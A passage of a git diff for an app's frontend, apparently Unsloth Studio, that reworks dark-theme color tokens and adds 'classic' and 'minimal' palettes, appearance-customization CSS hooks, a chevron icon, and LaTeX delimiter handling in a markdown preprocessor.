 	/* Bypass permissions accent: bright, saturated neon yellow on dark. */
 	--bypass: #ffd60a;
 	/* --border / --input one step lighter than --muted so outlines and form
 	   borders stay visible on muted surfaces (right config panel, export
 	   tiles, quant chips) and keep subtle contrast on card. */
-	--border: #3a3d42;
-	--input: #3a3d42;
-	--ring: #17b88b;
+	--border: #303030;
+	--input: #303030;
+	--ring: #ececec;
 	--chart-1: oklch(0.7511 0.1407 166.2284);
 	--chart-2: oklch(0.75 0.14 136.5572);
 	--chart-3: oklch(0.7554 0.1285 197.339);
 	--chart-4: oklch(0.7503 0.1199 346.7805);
 	--chart-5: oklch(0.799 0.1196 84.6633);
-	/* A step lighter than --background; the tone difference is the separator. */
-	--sidebar: #1f2023;
-	--sidebar-foreground: #ececee;
+	/* Elevated a step lighter than --background; the tone difference is
+	   the separator. */
+	--sidebar: #1f1f1f;
+	--sidebar-foreground: #ececec;
 	--sidebar-primary: #17b88b;
 	--sidebar-primary-foreground: oklch(1 0 0);
-	--sidebar-accent: #2e3035;
-	--sidebar-accent-foreground: #ececee;
-	--sidebar-border: #2d2e32;
-	--sidebar-ring: #17b88b;
+	--sidebar-accent: #2a2a2a;
+	--sidebar-accent-foreground: #ececec;
+	--sidebar-border: #2a2a2a;
+	--sidebar-ring: #ececec;
 	--destructive-foreground: oklch(1 0 0);
 	/* Match light's radius so every rounded-* element is the same in both themes. */
 	--radius: 1.1rem;
@@ -336,21 +357,23 @@
 	--shadow-xl: 0px 0px 0px 0px hsl(0 0% 0% / 0), 0px 8px 10px 0px hsl(0 0% 0% / 0);
 	--shadow-2xl: 0px 0px 0px 0px hsl(0 0% 0% / 0);
 
-	--nav-fg: #c7c7c4;
-	--nav-fg-muted: #96979b;
-	--nav-surface-hover: #2e3035;
+	--nav-fg: #c9c9c9;
+	--nav-fg-muted: #969696;
+	--nav-surface-hover: #2a2a2a;
 	--nav-icon-idle: #5c5c5c;
-	--nav-beta-border: #3a3c3f;
-	--panel-surface-hover: #3a3c42;
+	--nav-beta-border: #333333;
+	--panel-surface-hover: #333333;
 	/* Right-side chat-parameters panel: matches the chat content
 	   surface in both themes — distinction from the left sidebar
-	   (#18181a, the deepest surface) is handled by the left border
-	   alone. Tracks `--background` so any future tweaks to the chat
-	   surface flow through automatically. */
+	   is handled by the left border alone. Tracks `--background` so
+	   any future tweaks to the chat surface flow through
+	   automatically. */
 	--panel-surface: var(--background);
 	--panel-surface-fg: var(--foreground);
-	--panel-input-surface: #2a2b2e;
-	--panel-input-surface-hover: #34373c;
+	/* Translucent white so the same fill reads correctly on the #181818
+	   page AND on #212121 cards/dialogs. */
+	--panel-input-surface: rgba(255, 255, 255, 0.07);
+	--panel-input-surface-hover: rgba(255, 255, 255, 0.11);
 	/* Soft neutral gray for muted text and sliders. Pure-ish #ababab
 	   reads as quiet on the dark panel without going colored. */
 	--panel-surface-fg-muted: #ababab;
@@ -362,13 +385,296 @@
 	   hover restores full --foreground for affordance. */
 	--chat-icon-fg: #d8d8d8;
 	--chat-icon-fg-hover: var(--foreground);
-	--chat-icon-bg-hover: #2d2e32;
+	--chat-icon-bg-hover: #2a2a2a;
+}
+
+/* ---------------------------------------------------------------------------
+   Color palettes.
+
+   The palette is a second theming dimension, orthogonal to light/dark. It is
+   carried on <html> as `data-palette` (managed by theme-store.ts alongside the
+   light/dark class):
+
+     (no attribute)            → Standard: the signature Unsloth green.
+     data-palette="classic"    → Classic: neutral grays with a calm blue
+                                 accent; enterprise-safe.
+     data-palette="minimal"    → Minimal: strictly black, white, and gray.
+
+   Each palette overrides only color tokens; typography, radii, spacing, and
+   shadows are inherited from the base :root/.dark blocks so layout is
+   identical across palettes. Light blocks are scoped with :not(.dark) so the
+   base .dark block always wins the mode dimension. */
+
+/* -------------------------------- Classic --------------------------------
+   White content and the standard white sidebar in light, shared dark
+   surfaces in dark, neutral gray hovers, and blue (#339cff) as the accent. */
+:root[data-palette="classic"]:not(.dark) {
+	--background: #ffffff;
+	--foreground: #1a1c1f;
+	--card: #ffffff;
+	--card-foreground: #1a1c1f;
+	--popover: #ffffff;
+	--popover-foreground: #1a1c1f;
+	/* Neutral black primary; blue is reserved for small controls via
+	   --control-accent (toggles, badges, focus rings). */
+	--primary: #0d0d0d;
+	--primary-foreground: #ffffff;
+	--control-accent: #339cff;
+	--control-accent-foreground: #ffffff;
+	--secondary: #f5f5f5;
+	--secondary-foreground: #1a1c1f;
+	--muted: #f7f7f7;
+	--muted-foreground: #8f8f8f;
+	--accent: #ececec;
+	--accent-foreground: #1a1c1f;
+	--bypass: #9a7b1e;
+	--border: #e6e6e6;
+	--input: #e6e6e6;
+	--ring: #1a1c1f;
+	--chart-1: #339cff;
+	--chart-2: #8fa3b8;
+	--chart-3: #0f6fd6;
+	--chart-4: #b8c4d0;
+	--chart-5: #5b7189;
+	/* Same as the standard palette; the sidebar surface does not change
+	   with the palette. */
+	--sidebar: #ffffff;
+	--sidebar-foreground: #1a1c1f;
+	--sidebar-primary: #0d0d0d;
+	--sidebar-primary-foreground: #ffffff;
+	--sidebar-accent: #ececec;
+	--sidebar-accent-foreground: #1a1c1f;
+	--sidebar-border: #f2f2f2;
+	--sidebar-ring: #1a1c1f;
+
+	--nav-fg: #2d2f31;
+	--nav-fg-muted: #8f8f8f;
+	--nav-surface-hover: #ececec;
+	--nav-icon-idle: #8f8f8f;
+	--nav-beta-border: #e0e0e0;
+	--panel-surface-hover: #ececec;
+	--panel-input-surface: #f4f4f4;
+	--panel-input-surface-hover: #ededed;
+	--panel-surface-fg-muted: #7a7c7e;
+	--panel-slider-fg: #9b9d9f;
+	--chat-icon-fg: #5d5f61;
+	--chat-icon-bg-hover: #ececec;
+}
+
+/* Dark surfaces come from the shared base .dark block; Classic only swaps
+   the accents: neutral (white) buttons, blue on small controls via
+   --control-accent. */
+:root[data-palette="classic"].dark {
+	--primary: #ececec;
+	--primary-foreground: #0d0d0d;
+	--control-accent: #4dabff;
+	--control-accent-foreground: #ffffff;
+	--bypass: #d9b40b;
+	--ring: #ececec;
+	--chart-1: #4dabff;
+	--chart-2: #8ab6de;
+	--chart-3: #1f7fe8;
+	--chart-4: #b3d4f5;
+	--chart-5: #6d87a3;
+	--sidebar-primary: #ececec;
+	--sidebar-primary-foreground: #0d0d0d;
+	--sidebar-ring: #ececec;
+}
+
+/* -------------------------------- Minimal -------------------------------- */
+:root[data-palette="minimal"]:not(.dark) {
+	--background: #ffffff;
+	--foreground: #171717;
+	--card: #ffffff;
+	--card-foreground: #171717;
+	--popover: #ffffff;
+	--popover-foreground: #171717;
+	--primary: #171717;
+	--primary-foreground: #ffffff;
+	--secondary: #f5f5f5;
+	--secondary-foreground: #262626;
+	--muted: #f5f5f5;
+	--muted-foreground: #6f6f6f;
+	--accent: #ebebeb;
+	--accent-foreground: #171717;
+	--bypass: #6f6f6f;
+	--border: #e2e2e2;
+	--input: #e2e2e2;
+	--ring: #171717;
+	--chart-1: #171717;
+	--chart-2: #4d4d4d;
+	--chart-3: #7a7a7a;
+	--chart-4: #a6a6a6;
+	--chart-5: #d1d1d1;
+	/* White sidebar on white content; the border alone is the separator. */
+	--sidebar: #ffffff;
+	--sidebar-foreground: #171717;
+	--sidebar-primary: #171717;
+	--sidebar-primary-foreground: #ffffff;
+	--sidebar-accent: #ebebeb;
+	--sidebar-accent-foreground: #171717;
+	--sidebar-border: #e8e8e8;
+	--sidebar-ring: #171717;
+
+	--nav-fg: #333333;
+	--nav-fg-muted: #8a8a8a;
+	--nav-surface-hover: #efefef;
+	--nav-icon-idle: #8f8f8f;
+	--nav-beta-border: #dddddd;
+	--panel-surface-hover: #ececec;
+	--panel-input-surface: #f4f4f4;
+	--panel-input-surface-hover: #ededed;
+	--panel-surface-fg-muted: #757575;
+	--panel-slider-fg: #9b9b9b;
+	--chat-icon-fg: #555555;
+	--chat-icon-bg-hover: #ececec;
+}
+
+/* Dark surfaces come from the shared base .dark block; Minimal only swaps
+   the accents to pure monochrome (white buttons, gray chart ramp). */
+:root[data-palette="minimal"].dark {
+	--primary: #ededed;
+	--primary-foreground: #111111;
+	--bypass: #9c9c9c;
+	--ring: #ededed;
+	--chart-1: #ededed;
+	--chart-2: #bdbdbd;
+	--chart-3: #8f8f8f;
+	--chart-4: #616161;
+	--chart-5: #3d3d3d;
+	--sidebar-primary: #ededed;
+	--sidebar-primary-foreground: #111111;
+	--sidebar-ring: #ededed;
+}
+
+/* ---------------------------------------------------------------------------
+   Appearance customization hooks (Settings → Appearance).
+
+   Every rule below is gated on a class or data attribute that
+   appearance-custom-store.ts toggles on <html>. With no customization active,
+   none of these selectors match and the stylesheet behaves exactly as stock.
+   Custom colors/fonts are applied as inline CSS variables on <html> (inline
+   wins over every :root/.dark/palette block), so they need no rules here. */
+
+/* Contrast slider: remap border and muted-text tokens by mixing their base
+   values toward the foreground (higher contrast) or background (lower).
+   --input mirrors --border in every palette, so it serves as the untouched
+   base for --border; --panel-surface-fg-muted is the closest stable base for
+   --muted-foreground. --contrast-mix / --contrast-target are set inline. */
+html[data-contrast-adjust] {
+	--border: color-mix(in oklab, var(--input), var(--contrast-target) var(--contrast-mix));
+	--sidebar-border: color-mix(in oklab, var(--input), var(--contrast-target) var(--contrast-mix));
+	--muted-foreground: color-mix(
+		in oklab,
+		var(--panel-surface-fg-muted),
+		var(--contrast-target) var(--contrast-mix)
+	);
+}
+
+/* Code font size: only overrides when the user sets an explicit size, so the
+   per-element Tailwind sizes stay authoritative by default. */
+html[data-code-font-size] :is(pre, code, kbd, samp) {
+	font-size: var(--custom-code-font-size) !important;
+}
+
+/* Pointer cursors: hand cursor over interactive elements. */
+html.pointer-cursors
+	:is(
+		button:not(:disabled),
+		[role="button"],
+		a[href],
+		select,
+		summary,
+		[role="tab"],
+		[role="menuitem"],
+		[role="option"],
+		[role="switch"],
+		[role="checkbox"],
+		input[type="checkbox"],
+		input[type="radio"],
+		input[type="range"],
+		label[for]
+	) {
+	cursor: pointer;
+}
+
+/* Force reduced motion: collapses CSS animations/transitions app-wide.
+   JS-driven springs are handled separately via MotionConfig in the provider. */
+html.force-reduced-motion *,
+html.force-reduced-motion *::before,
+html.force-reduced-motion *::after {
+	animation-duration: 0.01ms !important;
+	animation-iteration-count: 1 !important;
+	transition-duration: 0.01ms !important;
+	scroll-behavior: auto !important;
+}
+
+/* Same loader exceptions as the OS-level media block below: freezing
+   spinners removes the only signal that work is in flight. */
+html.force-reduced-motion .animate-spin {
+	animation-duration: 1.5s !important;
+	animation-iteration-count: infinite !important;
+}
+html.force-reduced-motion .generated-image-loading-dot {
+	animation-duration: 1850ms !important;
+	animation-iteration-count: infinite !important;
+}
+html.force-reduced-motion .loading-bar-slide {
+	animation-duration: 1.3s !important;
+	animation-iteration-count: infinite !important;
+}
+html.force-reduced-motion .unsloth-composer-plus svg {
+	transition-duration: 250ms !important;
+}
+
+/* Font smoothing toggle: back to the browser's subpixel default. */
+html.no-font-smoothing body {
+	-webkit-font-smoothing: auto;
+	-moz-osx-font-smoothing: auto;
+}
+
+/* Chat font: only applies while a custom chat font is set. Elements with
+   explicit font utilities (headings, code) keep their own families. */
+html[data-chat-font] .aui-root {
+	font-family: var(--custom-chat-font);
+}
+
+/* Palette cards: the active ring keys off html[data-palette] so it swaps
+   in the same style pass that swaps the color tokens. Driving it from
+   React state paints one frame late while the whole page recalculates,
+   which briefly leaves the ring on the previous card. */
+.palette-card:hover {
+	border-color: var(--ring-soft);
+}
+:root:not([data-palette]) .palette-card[data-palette-value="standard"],
+:root[data-palette="classic"] .palette-card[data-palette-value="classic"],
+:root[data-palette="minimal"] .palette-card[data-palette-value="minimal"] {
+	/* Selection keeps the card's own border weight, only darker. */
+	border-color: var(--ring-select);
+}
+
+/* Settings search: brief highlight on the row a result jumped to. */
+.settings-search-hit {
+	animation: settings-search-hit 1.6s ease-out;
+	border-radius: 12px;
+}
+@keyframes settings-search-hit {
+	0%,
+	35% {
+		background-color: var(--accent);
+	}
+	100% {
+		background-color: transparent;
+	}
 }
 
 @theme inline {
-	--font-sans: "Inter Variable", ui-sans-serif, sans-serif, system-ui;
-	--font-heading: "Hellix", "Space Grotesk Variable", var(--font-sans);
-	--color-sidebar-ring: var(--sidebar-ring);
+	/* Reference the :root tokens instead of literal stacks so the runtime
+	   font overrides (Settings > Appearance) reach every font-* utility. */
+	--font-sans: var(--font-sans);
+	--font-heading: var(--font-heading);
+	--color-verified: var(--verified);
+	--color-sidebar-ring: var(--ring-soft);
 	--color-sidebar-border: var(--sidebar-border);
 	--color-sidebar-accent-foreground: var(--sidebar-accent-foreground);
 	--color-sidebar-accent: var(--sidebar-accent);
@@ -382,7 +688,11 @@
 	--color-chart-2: var(--chart-2);
 	--color-chart-1: var(--chart-1);
 	--color-code-block: #181818;
-	--color-ring: var(--ring);
+	/* Tailwind ring/border/outline "ring" utilities are focus indicators
+	   across the app, so they map to the soft derived shade; persistent
+	   selection styling uses ring-strong (the raw --ring). */
+	--color-ring: var(--ring-soft);
+	--color-ring-strong: var(--ring-select);
 	--color-input: var(--input);
 	--color-border: var(--border);
 	--color-destructive: var(--destructive);
@@ -395,6 +705,8 @@
 	--color-secondary: var(--secondary);
 	--color-primary-foreground: var(--primary-foreground);
 	--color-primary: var(--primary);
+	--color-control-accent: var(--control-accent);
+	--color-control-accent-foreground: var(--control-accent-foreground);
 	--color-popover-foreground: var(--popover-foreground);
 	--color-popover: var(--popover);
 	--color-card-foreground: var(--card-foreground);
@@ -408,8 +720,8 @@
 	--radius-2xl: calc(var(--radius) + 8px);
 	--radius-3xl: calc(var(--radius) + 12px);
 	--radius-4xl: calc(var(--radius) + 16px);
-	--font-mono: JetBrains Mono, monospace;
-	--font-serif: Source Serif 4, serif;
+	--font-mono: var(--font-mono);
+	--font-serif: var(--font-serif);
 	--radius: 1.1rem;
 	--tracking-tighter: 0em;
 	--tracking-tight: 0em;
@@ -444,6 +756,8 @@
 	--color-panel-surface: var(--panel-surface);
 	--color-panel-surface-fg: var(--panel-surface-fg);
 	--color-panel-surface-fg-muted: var(--panel-surface-fg-muted);
+	--color-panel-input-surface: var(--panel-input-surface);
+	--color-panel-input-surface-hover: var(--panel-input-surface-hover);
 	--color-chat-icon-fg: var(--chat-icon-fg);
 	--color-chat-icon-fg-hover: var(--chat-icon-fg-hover);
 	--color-chat-icon-bg-hover: var(--chat-icon-bg-hover);
@@ -537,6 +851,26 @@
 		margin-right: 0 !important;
 	}
 
+	/* Firefox makes scrollable containers keyboard focusable; swap the 3px
+	   UA outline for the app's soft 1px indicator. :where keeps specificity
+	   at zero so interactive components keep their own focus styles. */
+	:where(div, main, section, aside, ul, ol):focus-visible {
+		outline: 1px solid var(--ring-soft);
+		outline-offset: -1px;
+	}
+
+	/* Number fields use the shared grey stepper instead of native spinners. */
+	input[type="number"] {
+		appearance: textfield;
+		-moz-appearance: textfield;
+	}
+
+	input[type="number"]::-webkit-inner-spin-button,
+	input[type="number"]::-webkit-outer-spin-button {
+		-webkit-appearance: none;
+		margin: 0;
+	}
+
 	h1,
 	h2,
 	h3,
@@ -567,7 +901,7 @@
 	}
 
 	.nav-icon-btn {
-		@apply inline-flex h-7 w-7 items-center justify-center rounded-full transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring;
+		@apply inline-flex h-7 w-7 items-center justify-center rounded-full transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring;
 	}
 
 	/* Standard icon size — drives every nav/menu/action-bar icon
@@ -632,7 +966,7 @@
 	   alignment, but width is tighter so the small chevron glyph reads
 	   as a compact control rather than a full-size icon button. */
 	.aui-branch-chevron-btn {
-		@apply inline-flex h-8 w-6 cursor-pointer items-center justify-center rounded-full p-0 text-chat-icon-fg transition-colors hover:bg-chat-icon-bg-hover hover:text-chat-icon-fg-hover focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring disabled:cursor-not-allowed disabled:opacity-30 disabled:hover:bg-transparent;
+		@apply inline-flex h-8 w-6 cursor-pointer items-center justify-center rounded-full p-0 text-chat-icon-fg transition-colors hover:bg-chat-icon-bg-hover hover:text-chat-icon-fg-hover focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:cursor-not-allowed disabled:opacity-30 disabled:hover:bg-transparent;
 	}
 	.sidebar-row-action:hover .sidebar-row-action-glyph,
 	.sidebar-row-action[data-state="open"] .sidebar-row-action-glyph {
@@ -662,30 +996,46 @@
 		color: #9aa0a6;
 		letter-spacing: 0;
 	}
-	/* Neutral panel input surface — sidesteps the green cast on
-	   `--input` / `--border` (both have a small chroma at hue ~165 in
-	   light mode). Same value drives the preset input pill, the system
-	   prompt button, and the chat-template textarea so all three read
-	   as one quiet gray family, matching the focused-edit-number tint. */
+	/* Panel input fields. Light mode matches the settings fields: white
+	   fill with a subtle border. Dark mode keeps the borderless
+	   translucent surface shared with the rest of the panel. */
 	.panel-input-group {
 		@apply !h-9 min-h-9 min-w-0 items-stretch gap-0 rounded-full pr-0 transition-colors focus-within:ring-0 focus-within:shadow-none;
-		border: 0 !important;
-		background-color: var(--panel-input-surface);
+		border: 1px solid var(--border) !important;
+		background-color: var(--background);
 	}
 	.panel-input-group:has([data-slot="input-group-control"]:focus-visible) {
-		border: 0 !important;
+		border-color: var(--ring-soft) !important;
 		box-shadow: none;
 	}
-
-	/* Neutral surface for the larger panel text containers — system
-	   prompt preview button and chat-template textarea — so they share
-	   the same gray as the preset input pill and don't pick up the
-	   theme's slight green-cast `--input`. */
-	.panel-text-surface {
-		@apply rounded-[20px] border-0 transition-colors;
+	.dark .panel-input-group,
+	.dark .panel-input-group:has([data-slot="input-group-control"]:focus-visible) {
+		border: 0 !important;
 		background-color: var(--panel-input-surface);
 	}
-	.panel-text-surface:hover {
+
+	/* Larger panel text containers (system prompt preview button and
+	   chat-template textarea) share the same treatment. */
+	.panel-text-surface {
+		@apply rounded-[20px] transition-colors;
+		border: 1px solid var(--border);
+		background-color: var(--background);
+	}
+	.dark .panel-text-surface {
+		border-color: transparent;
+		background-color: var(--panel-input-surface);
+	}
+	.dark .panel-text-surface:hover {
+		border-color: transparent;
+		background-color: var(--panel-input-surface-hover);
+	}
+	/* Typing/clicking into the box darkens its border (dark mode surfaces are
+	   borderless, so the brighter hover fill marks focus there). */
+	.panel-text-surface:focus-within {
+		border-color: var(--ring-soft);
+	}
+	.dark .panel-text-surface:focus-within {
+		border-color: transparent;
 		background-color: var(--panel-input-surface-hover);
 	}
 
@@ -1059,6 +1409,7 @@
 
 	.chat-composer-surface {
 		@apply relative flex w-full flex-col rounded-[32px] bg-background dark:bg-card px-1 pt-2 outline-none transition-shadow;
+		container-type: inline-size;
 		font-family: var(--font-sans);
 		background-clip: padding-box;
 		background-color: #ffffff;
@@ -1092,6 +1443,15 @@
 	.composer-pill-btn[data-active="true"] {
 		color: var(--primary);
 	}
+	/* Permission-level pill: higher-contrast grey than the resting pills so
+	   the active level stays legible (darker in light mode, lighter in dark).
+	   Full access keeps the danger yellow below. */
+	.composer-pill-btn.composer-pill-permissions:not([data-variant="danger"]) {
+		color: color-mix(in oklab, var(--foreground) 60%, transparent);
+	}
+	.dark .composer-pill-btn.composer-pill-permissions:not([data-variant="danger"]) {
+		color: color-mix(in oklab, var(--foreground) 72%, transparent);
+	}
 	/* Bypass permissions badge: bright yellow text, no resting fill; the
 	   rounded hover pill picks up the yellow accent like other toggles. */
 	.composer-pill-btn[data-variant="danger"] {
@@ -1210,6 +1570,7 @@
 	/* Pill composer; own classes so compare-mode keeps its stacked layout. */
 	.unsloth-composer-surface {
 		@apply relative flex w-full flex-col rounded-[32px] bg-background dark:bg-card px-3 py-3 outline-none transition-shadow;
+		container-type: inline-size;
 		font-family: var(--font-sans);
 		background-clip: padding-box;
 		background-color: #ffffff;
@@ -1321,7 +1682,7 @@
 	.unsloth-thinking-pill:focus-visible,
 	.unsloth-composer-plus:focus-visible {
 		outline: none;
-		box-shadow: 0 0 0 2px color-mix(in oklab, var(--ring) 45%, transparent);
+		box-shadow: 0 0 0 1px var(--ring-soft);
 	}
 
 	/* Clickable controls never show the browser's blue outline (Radix re-focuses
@@ -1335,17 +1696,33 @@
 	[role="button"]:focus {
 		outline: none !important;
 	}
-	button:focus:not(:focus-visible),
+	/* Pressed controls are exempt: their ring marks SELECTION, and the just
+	   clicked control is exactly the one holding mouse focus. */
+	button:focus:not(:focus-visible):not([aria-pressed="true"]),
 	a:focus:not(:focus-visible),
 	summary:focus:not(:focus-visible),
-	[role="button"]:focus:not(:focus-visible) {
+	[role="button"]:focus:not(:focus-visible):not([aria-pressed="true"]) {
 		--tw-ring-shadow: 0 0 #0000 !important;
 		--tw-ring-offset-shadow: 0 0 #0000 !important;
 	}
 
-	/* Set Hellix explicitly; .aui-thread-root resets --font-heading to sans. */
+	/* The greeting is a heading: it follows the user's heading font and
+	   defaults to Hellix. Restored on the element because the base h1 rule
+	   reads --font-heading with !important and .aui-thread-root resets
+	   that var to sans for chat prose. */
 	.unsloth-welcome-title {
-		font-family: "Hellix", "Space Grotesk Variable", var(--font-sans);
+		--font-heading: var(
+			--custom-heading-font,
+			"Hellix",
+			"Space Grotesk Variable",
+			var(--font-sans)
+		);
+		font-family: var(
+			--custom-heading-font,
+			"Hellix",
+			"Space Grotesk Variable",
+			var(--font-sans)
+		);
 		font-weight: 500;
 	}
 
@@ -1369,6 +1746,28 @@
 		cursor: pointer;
 	}
 
+	/* Keep Thinking on the control row in narrow split layouts. */
+	@container (max-width: 36rem) {
+		.unsloth-thinking-pill {
+			@apply size-8 justify-center gap-0 px-0;
+			min-height: 2rem;
+		}
+
+		.unsloth-thinking-label,
+		.unsloth-thinking-caret {
+			display: none;
+		}
+
+		.unsloth-thinking-pill[data-pill-label] {
+			position: relative;
+		}
+
+		.unsloth-thinking-pill[data-pill-label]:not([data-state="open"]):hover::after {
+			content: attr(data-pill-label);
+			@apply pointer-events-none absolute bottom-[calc(100%+6px)] left-1/2 z-50 -translate-x-1/2 rounded-full bg-black px-2.5 py-1.5 text-[11px] font-medium leading-snug whitespace-nowrap text-white shadow-md;
+		}
+	}
+
 	/* Smaller tick for selected Thinking options. */
 	.unsloth-tick {
 		width: 0.8rem !important;
@@ -1518,7 +1917,7 @@
 	}
 
 	@media (prefers-reduced-motion: reduce) {
-		.chat-artifact-pop-surface {
+		html:not(.force-motion) .chat-artifact-pop-surface {
 			transition: none;
 			transform: none;
 		}
@@ -1649,15 +2048,11 @@
 		}
 	}
 
-	/* Fine-tuning Studio: equal default height, expandable when needed (md+) */
+	/* Fine-tuning Studio: equal minimum card height, grows with content (md+) */
 	.min-h-studio-config-column {
 		@apply md:min-h-[520px];
 	}
 
-	.h-studio-config-column {
-		@apply md:h-[520px];
-	}
-
 	[data-streamdown="unordered-list"] {
 		list-style-type: disc;
 		list-style-position: outside;
@@ -1775,14 +2170,15 @@
 		margin-bottom: 0 !important;
 	}
 
-	/* Keep monospace for code fences and inline code (not KaTeX). */
+	/* Keep monospace for code fences and inline code (not KaTeX). The custom
+	   Code font (--custom-code-font) overrides when set, else Fira Code. */
 	.aui-thread-root [data-streamdown="code-block"] pre,
 	.aui-thread-root [data-streamdown="code-block"] code {
-		font-family: "Fira Code", ui-monospace, monospace;
+		font-family: var(--custom-code-font, "Fira Code", ui-monospace, monospace);
 	}
 
 	.aui-thread-root :where(p, li, td, th, blockquote, h1, h2, h3, h4, h5, h6) code {
-		font-family: "Fira Code", ui-monospace, monospace;
+		font-family: var(--custom-code-font, "Fira Code", ui-monospace, monospace);
 	}
 
 	/* Align fenced code blocks with the main chat column even when nested in lists. */
@@ -2207,33 +2603,35 @@
  * so they keep animating.
  */
 @media (prefers-reduced-motion: reduce) {
-	*,
-	*::before,
-	*::after {
+	/* html.force-motion (Reduce motion set to Off) opts back out of the
+	   OS preference, so these rules only apply without it. */
+	html:not(.force-motion) *,
+	html:not(.force-motion) *::before,
+	html:not(.force-motion) *::after {
 		animation-duration: 0.01ms !important;
 		animation-iteration-count: 1 !important;
 		transition-duration: 0.01ms !important;
 		scroll-behavior: auto !important;
 	}
 
-	.animate-spin {
+	html:not(.force-motion) .animate-spin {
 		animation-duration: 1.5s !important;
 		animation-iteration-count: infinite !important;
 	}
 
-	.generated-image-loading-dot {
+	html:not(.force-motion) .generated-image-loading-dot {
 		animation-duration: 1850ms !important;
 		animation-iteration-count: infinite !important;
 	}
 
-	.loading-bar-slide {
+	html:not(.force-motion) .loading-bar-slide {
 		animation-duration: 1.3s !important;
 		animation-iteration-count: infinite !important;
 	}
 
 	/* Keep the plus/x morph animating under reduced motion (small rotation,
 	   like the spinners above). */
-	.unsloth-composer-plus svg {
+	html:not(.force-motion) .unsloth-composer-plus svg {
 		transition-duration: 250ms !important;
 	}
 }
diff --git a/studio/frontend/src/lib/chevron-icons.ts b/studio/frontend/src/lib/chevron-icons.ts
index b1a74e9953..a175970223 100644
--- a/studio/frontend/src/lib/chevron-icons.ts
+++ b/studio/frontend/src/lib/chevron-icons.ts
@@ -19,6 +19,20 @@ export const ChevronDownStandardIcon: IconSvgElement = [
   ],
 ];
 
+export const ChevronUpStandardIcon: IconSvgElement = [
+  [
+    "path",
+    {
+      d: "M5.99977 15L11.9998 9.00005L17.9998 15",
+      stroke: "currentColor",
+      strokeLinecap: "round",
+      strokeLinejoin: "round",
+      strokeWidth: "1.5",
+      key: "0",
+    },
+  ],
+];
+
 export const ChevronRightStandardIcon: IconSvgElement = [
   [
     "path",
diff --git a/studio/frontend/src/lib/latex.ts b/studio/frontend/src/lib/latex.ts
index 1a4ebdace8..edf9875602 100644
--- a/studio/frontend/src/lib/latex.ts
+++ b/studio/frontend/src/lib/latex.ts
@@ -1,8 +1,13 @@
 // Adapted from LibreChat's latex.ts
 // https://github.com/danny-avila/LibreChat/blob/main/client/src/utils/latex.ts
 //
-// Escapes currency dollar signs so they are not misinterpreted as LaTeX math
-// delimiters when singleDollarTextMath is enabled.
+// Two jobs, in order:
+//   1. Convert LaTeX bracket delimiters (`\[...\]`, `\(...\)`) into the dollar
+//      forms remark-math understands (`$$...$$`, `$...$`). remark-math only
+//      tokenizes dollar delimiters, so models that emit `\[...\]` / `\(...\)`
+//      would otherwise render as literal text.
+//   2. Escape currency dollar signs so they are not misinterpreted as LaTeX
+//      math delimiters when singleDollarTextMath is enabled.
 
 /**
  * Matches a single $ followed by a number pattern (currency), e.g.:
@@ -15,14 +20,14 @@ const CURRENCY_REGEX =
   /(?<![\\$])\$(?!\$)(?=\d+(?:,\d{3})*(?:\.\d+)?[KMBkmb]?(?:\s|$|[^a-zA-Z\d]))/g;
 
 /**
- * Find code-block regions (``` ... ``` and ` ... `) to skip.
+ * Find code-block regions (``` ... ```, ~~~ ... ~~~, and ` ... `) to skip.
  * Returns a sorted array of [start, end] index pairs.
  */
 function findCodeBlockRegions(content: string): Array<[number, number]> {
   const regions: Array<[number, number]> = [];
 
-  // Fenced code blocks: ```...```
-  const fencedRe = /```[\s\S]*?```/g;
+  // Fenced code blocks: ```...``` and ~~~...~~~ (both are code in GFM)
+  const fencedRe = /```[\s\S]*?```|~~~[\s\S]*?~~~/g;
   let match: RegExpExecArray | null;
   while ((match = fencedRe.exec(content)) !== null) {
     regions.push([match.index, match.index + match[0].length]);
@@ -51,9 +56,38 @@ function findCodeBlockRegions(content: string): Array<[number, number]> {
 }
 
 /**
- * Binary search to check if a position falls inside any code region.
+ * Match an inline link/image `[text](DEST)`, capturing the destination as group 1
+ * with the `d` flag so its span is read straight from `match.indices` (the text
+ * can contain an escaped `\](`, so a string search for the separator is unsafe).
+ * The text disallows unescaped `]`; the destination allows escapes and one level
+ * of balanced parens.
  */
-function isInCodeBlock(
+const LINK_DEST_RE =
+  /!?\[(?:\\.|[^\]\\])*?\]\(((?:\\.|[^()\\]|\([^()]*\))*)\)/gd;
+
+/**
+ * Find the destination spans of inline links/images, so a `\(...\)` written with
+ * escaped parens inside a URL isn't rewritten as math (which would break the
+ * link). Only the destination is returned, not the link text, so math in the
+ * visible text still converts. Sorted, non-overlapping (matches are disjoint).
+ */
+function findLinkDestinationRegions(content: string): Array<[number, number]> {
+  if (!content.includes("](")) return [];
+  const regions: Array<[number, number]> = [];
+  let match: RegExpExecArray | null;
+  LINK_DEST_RE.lastIndex = 0;
+  while ((match = LINK_DEST_RE.exec(content)) !== null) {
+    // `indices` is present (the `d` flag); group 1 spans the destination.
+    regions.push(match.indices![1]);
+  }
+  return regions;
+}
+
+/**
+ * Binary search to check if a position falls inside any region. Regions must be
+ * sorted by start and non-overlapping.
+ */
+function isInRegion(
   position: number,
   regions: Array<[number, number]>,
 ): boolean {
@@ -139,7 +173,11 @@ function looksLikeMathBody(body: string): boolean {
  * (`**$X$**`, `__$X$__`) are always math: LLMs use that for "bold math"
  * and the heuristic would otherwise reject prose-shaped bodies like "90 - x".
  */
-function hasInlineMathCloser(content: string, offset: number): boolean {
+function hasInlineMathCloser(
+  content: string,
+  offset: number,
+  mathRegions: Array<[number, number]>,
+): boolean {
   const MAX_SPAN = 200;
   const limit = Math.min(content.length, offset + 1 + MAX_SPAN);
   for (let i = offset + 1; i < limit; i++) {
@@ -147,6 +185,9 @@ function hasInlineMathCloser(content: string, offset: number): boolean {
     if (c === "\n") return false;
     if (c !== "$") continue;
     if (content[i - 1] === "\\") continue;
+    // A `$` opening a generated span (from `\(...\)`) is not a currency closer;
+    // pairing with it would swallow the price into math (`$5 + x \(y\)`).
+    if (isInRegion(i, mathRegions)) return false;
     if (content[i + 1] === "$") {
       i++;
       continue;
@@ -174,9 +215,124 @@ function hasInlineMathCloser(content: string, offset: number): boolean {
 }
 
 /**
- * Preprocess a markdown string to escape currency dollar signs so they are not
- * parsed as LaTeX math delimiters.
